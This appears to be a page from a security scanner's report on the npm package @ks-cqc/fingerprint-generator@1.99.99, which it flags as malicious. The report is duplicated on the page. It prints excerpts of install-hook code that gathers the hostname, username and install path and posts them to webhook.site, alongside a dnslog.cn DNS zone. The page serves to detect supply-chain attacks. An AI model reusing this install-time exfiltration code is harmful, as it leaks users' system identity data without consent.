@ks-cqc/fingerprint-generator@1.99.99: Malicious npm security | LPM Firewall

Loading npm security reports…

@ks-cqc/fingerprint-generator@1.99.99: Malicious npm security | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.install = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" },

High

Suspicious Lifecycle Evidence

All preinstall, install, and postinstall hooks execute install.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

8const os = require('os'); L9: const dns = require('dns'); L10: const https = require('https'); L11: L12: const PKG = process.env.npm[redacted] || '@ks-cqc/fingerprint-generator'; L13: const VER = process.env.npm[redacted] || '1.99.99'; L14: const HOOK = process.env.npm[redacted] || 'install'; L15: const DNS_ZONE = 'f1lo5k.dnslog.cn'; ... L18: function b64(s) { L19: return Buffer.from(String(s)).toString('base64').replace(/[^a-zA-Z0-9]/g, '').slice(0, 32) || 'x'; L20: } ... L22: let h = 'x', u = 'x', p = 'x';

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

install.jsView on unpkg · L8

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> install.js const https = require('https'); const HTTP_PATH = '/a97323a7-ff55-4678-b499-7392cc604db0'; // 2) HTTPS canary (best effort) const data = JSON.stringify({ pkg: PKG, ver: VER, hook: HOOK, h: h, u: u, p: p, t: Date.now() }); const req = https.request({ host: 'webhook.site', port: 443, path: HTTP_PATH, method: 'POST', req.write(data); req.end();

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

install.jsView on unpkg

22let h = 'x', u = 'x', p = 'x'; try { h = os.hostname() || 'x'; } catch (e) {} try { u = (os.userInfo() || {}).username || 'x'; } catch (e) {} try { p = process.cwd() || 'x'; } catch (e) {}

High

Ai Review Evidence

Install code collects hostname, username, and current install path.

Source & flagged code

9 flagged

package.jsonView file

•scripts.install = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" },

High

Suspicious Lifecycle Evidence

All preinstall, install, and postinstall hooks execute install.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

8const os = require('os'); L9: const dns = require('dns'); L10: const https = require('https'); L11: L12: const PKG = process.env.npm[redacted] || '@ks-cqc/fingerprint-generator'; L13: const VER = process.env.npm[redacted] || '1.99.99'; L14: const HOOK = process.env.npm[redacted] || 'install'; L15: const DNS_ZONE = 'f1lo5k.dnslog.cn'; ... L18: function b64(s) { L19: return Buffer.from(String(s)).toString('base64').replace(/[^a-zA-Z0-9]/g, '').slice(0, 32) || 'x'; L20: } ... L22: let h = 'x', u = 'x', p = 'x';

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

install.jsView on unpkg · L8

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> install.js const https = require('https'); const HTTP_PATH = '/a97323a7-ff55-4678-b499-7392cc604db0'; // 2) HTTPS canary (best effort) const data = JSON.stringify({ pkg: PKG, ver: VER, hook: HOOK, h: h, u: u, p: p, t: Date.now() }); const req = https.request({ host: 'webhook.site', port: 443, path: HTTP_PATH, method: 'POST', req.write(data); req.end();

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

install.jsView on unpkg

22let h = 'x', u = 'x', p = 'x'; try { h = os.hostname() || 'x'; } catch (e) {} try { u = (os.userInfo() || {}).username || 'x'; } catch (e) {} try { p = process.cwd() || 'x'; } catch (e) {}

High

Ai Review Evidence

Install code collects hostname, username, and current install path.